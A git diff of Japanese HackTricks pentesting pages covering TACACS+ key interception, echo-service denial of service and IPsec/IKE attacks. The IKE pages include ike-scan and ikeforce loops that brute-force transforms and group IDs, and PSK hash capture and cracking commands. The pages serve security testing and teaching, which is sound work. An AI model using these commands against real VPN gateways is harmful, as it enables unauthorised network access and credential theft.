||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローする。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,16 +4,24 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Terminal Access Controller Access Control System (TACACS)** プロトコルは、ルーターやネットワークアクセスサーバー(NAS)にアクセスしようとするユーザーを中央で検証するために使用されます。そのアップグレードバージョンである**TACACS+**は、サービスを認証、認可、およびアカウンティング(AAA)に分割します。
|
||||
|
@ -25,7 +33,7 @@ PORT STATE SERVICE
|
|||
|
||||
## 認証キーの傍受
|
||||
|
||||
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受**される可能性があります。攻撃者はその後、ログに検出されることなくキーに対する**ローカルな総当たり攻撃を試みる**ことができます。キーの総当たり攻撃に成功すると、攻撃者はネットワーク機器にアクセスし、Wiresharkなどのツールを使用してトラフィックを復号化できます。
|
||||
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受**される可能性があります。攻撃者はその後、**ログに検出されることなくキーに対するローカルな総当たり攻撃を試みる**ことができます。キーの総当たり攻撃に成功すると、攻撃者はネットワーク機器にアクセスし、Wiresharkなどのツールを使用してトラフィックを復号化できます。
|
||||
|
||||
### MitM攻撃の実行
|
||||
|
||||
|
@ -38,8 +46,8 @@ PORT STATE SERVICE
|
|||
sudo loki_gtk.py
|
||||
```
|
||||
### トラフィックの復号化
|
||||
鍵が正常に**総当たり攻撃で**(**通常はMD5で暗号化された形式で**)解読されると、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
|
||||
鍵が**総当たり攻撃**によって**(通常はMD5で暗号化された形式で)**正常に解読されると、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
|
||||
|
||||
鍵が正常にクラックされた後、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
|
||||
鍵が正常に解読された後、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
|
||||
|
||||
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は厳密に教育目的であり、適切な権限なしに使用すべきではないことに注意することが重要です。
|
||||
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用されるべきであり、適切な権限なしに使用されるべきではありません。
|
||||
|
|
|
@ -6,17 +6,24 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# 基本情報
|
||||
|
||||
このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに返送します。\
|
||||
**同じマシンまたは別のマシンのエコーサービスに接続して、サービス間でエコーサービスを接続することで、サービスの拒否を引き起こすことが可能です**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
|
||||
**同じマシンまたは別のマシンのエコーサービスに接続して、サービスに対してサービスを行うことで、サービスの拒否を引き起こすことが可能です**。生成されるパケットの数が過剰に多いため、影響を受けるマシンは実質的にサービスから外される可能性があります。\
|
||||
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**デフォルトポート:** 7/tcp/udp
|
||||
|
@ -25,7 +32,7 @@ PORT STATE SERVICE
|
|||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Echoサービスへの接続(UDP)
|
||||
## Echoサービスへの接触(UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -35,23 +42,29 @@ Hello echo #This is the response
|
|||
|
||||
* `port:7 echo`
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,39 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>を使って学ぶ!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**IPsec**は、ネットワーク間(LAN間)やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要な技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
|
||||
|
||||
2つのポイント間で**セキュリティアソシエーション(SA)**を確立するのは**IKE**が担当し、これは認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作します。このプロセスはいくつかのフェーズで展開されます:
|
||||
2つのポイント間で**セキュリティアソシエーション(SA)**を確立することは、**IKE**によって管理され、認証と鍵交換のために設計されたプロトコルであるISAKMPの枠組みの下で動作します。このプロセスはいくつかのフェーズで展開されます:
|
||||
|
||||
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared Key(PSK)または証明書を使用し、メインモード(3つのメッセージのペアを含む)または**アグレッシブモード**を使用します。
|
||||
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続を試みるユーザーの身元を確認するためにユーザー名とパスワードが必要です。
|
||||
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared Key(PSK)または証明書を使用し、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
|
||||
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。
|
||||
- **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿(PFS)**を確保し、セキュリティを強化します。
|
||||
|
||||
**デフォルトポート:** 500/udp
|
||||
|
||||
## nmapを使用してサービスを**Discover**
|
||||
## **nmap**を使用してサービスを発見
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -40,7 +48,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
|
||||
IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESなどの**暗号化アルゴリズム**、SHAまたはMD5などの**整合性アルゴリズム**、事前共有キーなどの**認証タイプ**、Diffie-Hellman 1または2などの鍵**配布アルゴリズム**、および28800秒などの**寿命**が含まれます。
|
||||
|
||||
したがって、最初に行う必要があるのは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換が含まれた1つの提案**を持つパケットをゲートウェイに送信します。
|
||||
したがって、最初に行う必要があるのは、**有効な変換を見つける**ことです。そうすることで、サーバーがあなたと通信するようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換が含まれた1つの提案**を持つパケットをゲートウェイに送信します。
|
||||
|
||||
応答に応じて、エンドポイントに関する情報を取得できます。
|
||||
```
|
||||
|
@ -58,8 +66,8 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
|||
**最後の行の値も非常に重要です:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案した変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合には通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
|
||||
|
||||
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
|
||||
|
||||
|
@ -67,17 +75,17 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
|||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
その後、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
|
||||
そして、ike-scanを使用してそれぞれをブルートフォース攻撃します(これには数分かかる場合があります):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
もし総当たり攻撃がうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます。
|
||||
もし総当たり攻撃がうまくいかない場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみてください:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Hopefully **有効な変換がエコーバックされます**。\
|
||||
以下のように**有効な変換がエコーバックされます**。\
|
||||
同じ攻撃を**iker.py**を使用して試すことができます。\
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりすることもできます。
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることもできます。
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
|
@ -85,15 +93,15 @@ Hopefully **有効な変換がエコーバックされます**。\
|
|||
|
||||
**DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。**2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH である。
|
||||
|
||||
Cisco は、DH グループ 1 および 2 の使用を避けるよう指示している。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えている。これは、コードを迅速に解読するためにそれらを準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになる(1,024 ビット以下のような強力でないグループを使用している場合)。
|
||||
Cisco は、DH グループ 1 と 2 の使用を避けるよう指示している。これらは強力ではないため、**多くのリソースを持つ国々がデータの暗号化を簡単に解読**できると専門家は考えている。これは、それらを素早く解読するために準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになります(1,024ビット以下のような強力でないグループを使用している場合)。
|
||||
|
||||
### サーバーのフィンガープリント
|
||||
|
||||
次に、デバイスの **ベンダー** を特定するために ike-scan を使用できる。このツールは初期提案を送信し、リプレイを停止する。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間** の違いを **分析** することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできる。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用する。
|
||||
次に、ike-scan を使用してデバイスの **ベンダーを特定**しようとすることができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差**を **分析**することで、ペンテスターは VPN ゲートウェイのベンダーを正確に特定できます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。
|
||||
|
||||
必要に応じて有効な変換を指定する(--trans を使用)
|
||||
|
||||
IKE がベンダーを特定した場合、それを表示するだろう:
|
||||
IKE がベンダーを特定した場合、それを表示します:
|
||||
```
|
||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
|
@ -117,24 +125,24 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
|
||||
## 正しいID(グループ名)の検索
|
||||
|
||||
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく正しいグループ名を知らないため、総当たり攻撃を行う必要があります。\
|
||||
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいID(グループ名)を持つ有効な変換が必要です。おそらく有効なグループ名はわからないため、総当たり攻撃する必要があります。\
|
||||
そのために、2つの方法をお勧めします:
|
||||
|
||||
### ike-scanを使用したIDの総当たり攻撃
|
||||
|
||||
まず、ハッシュを収集しようとして偽のIDでリクエストを行ってみてください("-P"):
|
||||
まず、ハッシュを収集しようとして偽のIDでリクエストを行うことを試してください("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが送信されるため、この方法はIDをブルートフォースするために信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
|
||||
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**何らかのハッシュが返される場合、偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするために信頼できるものではありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
しかし、前述のようにハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
|
||||
しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
|
||||
|
||||
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるID(これは有効なグループ名になります)を返します。
|
||||
|
||||
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するものが見つかるまですべてを試す必要があります)。
|
||||
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください(正常に機能するまですべてを試す必要があります)。
|
||||
|
||||
[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsのもの](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースすることができます。
|
||||
```bash
|
||||
|
@ -142,21 +150,21 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
|||
```
|
||||
### IDのBruteforce with Iker
|
||||
|
||||
[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、有効なIDを見つけるために独自の方法に従います。
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、**有効なIDを見つけるための独自の方法**に従います。
|
||||
|
||||
### IDのBruteforce with ikeforce
|
||||
|
||||
[ikeforce.py](https://github.com/SpiderLabs/ikeforce)は、IDをBruteforceするために使用できるツールです。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**(偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することを好みます)。
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**(偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanメソッドを使用することをお勧めします)。
|
||||
|
||||
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
|
||||
|
||||
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
* 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
|
||||
* **最初の方法**は、Ciscoシステムの情報**Dead Peer Detection DPD**を**検索**して、グループ名をBruteforceすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
* 利用可能な**2番目の方法**は、**各試行に送信された応答の数を確認**することです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
|
||||
* **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
|
||||
* 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで応答するかどうかをチェックします。\
|
||||
* 最後に、サーバーがチェックに対して何も返さない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで返信するかどうかを確認します。\
|
||||
明らかに、IDをBruteforceする目的は、有効なIDがある場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります(有効になっている場合)。
|
||||
|
||||
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、それらすべてを試す新しいループを自由に追加してください(うまく機能するまですべてを試す必要があります)。
|
||||
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを自由に追加してください(うまく機能するまですべてを試す必要があります)。
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -167,7 +175,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```
|
||||
### スニッフィングID
|
||||
|
||||
(書籍**ネットワークセキュリティアセスメント:ネットワークを知る**より)VPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で取得することが可能です。
|
||||
(書籍**ネットワークセキュリティアセスメント:ネットワークを知る**より)VPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で送信するため、有効なユーザー名を取得することも可能です。
|
||||
|
||||
![](<../.gitbook/assets/image (111).png>)
|
||||
|
||||
|
@ -177,40 +185,40 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
ハッシュは_hash.txt_内に保存されます。
|
||||
ハッシュは _hash.txt_ 内に保存されます。
|
||||
|
||||
**psk-crack**、**john**([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用してハッシュを**クラック**することができます:
|
||||
**psk-crack**、**ikescan2john.py** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) を使用した **john**、**hashcat** を使用してハッシュを **クラック** することができます:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**アグレッシブモードIKE** は、**事前共有キー(PSK)** と組み合わせて、**グループ認証** の目的で一般的に使用されます。この方法は、**拡張認証(XAuth)** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを活用します。
|
||||
